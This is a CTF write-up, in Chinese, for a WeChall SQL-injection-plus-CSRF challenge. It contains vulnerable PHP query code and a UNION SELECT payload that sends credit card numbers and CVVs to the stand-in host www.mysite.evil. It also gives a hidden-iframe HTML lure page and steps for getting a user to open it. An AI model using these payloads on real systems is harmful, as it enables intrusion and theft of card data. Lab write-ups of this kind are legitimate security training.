WeChall - Credit Card Challenge Pwned - CCCP

Challenge

Credit Card Challenge Pwned! (CCCP) by Z。SQL injection + CSRF 组合攻击题。

场景:一个金融机构的内网应用 very-secure-intranet.local/query.php?id= 存在 SQL 注入和 CSRF 漏洞。无法从外网直接访问,但可以让员工 Z 访问我们托管的 HTML 页面,通过 CSRF 触发内网请求,把数据外带到 www.mysite.evil

已知表结构:

1
create table credit_card(id int, cc_number bigint, cvv integer);

query.include 源码:

1
2
3
4
5
6
$id = $_GET['id'];
$query = "SELECT name FROM not_important_table WHERE id=".$id."";
$result = mysql_query($query) or die(mysql_error());
while($row=mysql_fetch_array($result)) {
echo $row['name'].'<br/>';
}

Solution

信息流:

  1. 托管一个 forum.html 到公网
  2. 发 PM 给 Z(WeChall 用户),附上链接
  3. Z 访问 forum.html
  4. forum.html 内含 iframe 指向内网 query.php,URL 中注入 SQL
  5. SQL 注入通过 UNION SELECT CONCAT 构建 <img src="http://www.mysite.evil/log.php?cc_number=X&cvv=Y"> 标签
  6. 浏览器渲染 iframe 内容,img 标签触发外带到 www.mysite.evil
  7. 挑战系统验证数据到达后,Z 回传 solution string

核心 SQL payload:

1
2
3
4
5
6
7
1 UNION SELECT CONCAT(
'<img src="http://www.mysite.evil/log.php?cc_number=',
cc_number,
'&cvv=',
cvv,
'">'
) FROM credit_card

注意 不要 在 cc_number 和 cvv 两侧加多余引号,否则 HTML 解析会断。

完整的 URL 编码后 iframe src:

1
http://very-secure-intranet.local/query.php?id=1%20UNION%20SELECT%20CONCAT%28%27%3Cimg%20src%3D%22http%3A%2F%2Fwww.mysite.evil%2Flog.php%3Fcc_number%3D%27%2Ccc_number%2C%27%26cvv%3D%27%2Ccvv%2C%27%22%3E%27%29%20FROM%20credit_card

forum.html 模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>Forum</title>
</head>
<body>
<h1>Welcome to the Forum</h1>
<p>This forum is for discussing important topics.</p>
<iframe
src="http://very-secure-intranet.local/query.php?id=1%20UNION%20SELECT%20CONCAT%28%27%3Cimg%20src%3D%22http%3A%2F%2Fwww.mysite.evil%2Flog.php%3Fcc_number%3D%27%2Ccc_number%2C%27%26cvv%3D%27%2Ccvv%2C%27%22%3E%27%29%20FROM%20credit_card"
width="1"
height="1"
style="border:none;position:absolute;left:-9999px;"
title="hidden"
></iframe>
</body>
</html>

Submit

  1. 把 forum.html 托管到公网(GitHub Pages / 任意 Web 服务器),确保 served as text/html
  2. 登录 WeChall → PM → 新建消息 → 收件人 Z → 标题随意 → 内容贴 forum.html 链接
  3. Z 收到后会访问,如果数据成功到达 www.mysite.evil,Z 会回复 solution string
  4. 拿到 solution 后提交到挑战页面的 Answer 框

Notes

  • www.mysite.evilvery-secure-intranet.local 都是挑战基础设施内部的域名,不需要自己搭接收服务器
  • &cvv= 中的 & 在 HTML 中不是合法实体引用,但浏览器会按原样保留
  • 托管平台如果是 HTTPS(如 GitHub Pages),forum.html 中 iframe 目标为 HTTP,可能触发 mixed content 警告,但 Z 如果下载文件本地打开则不受影响
  • Optional goal:用 HEX() 或 TO_BASE64() 编码 CC 数据可避免明文出现在网络上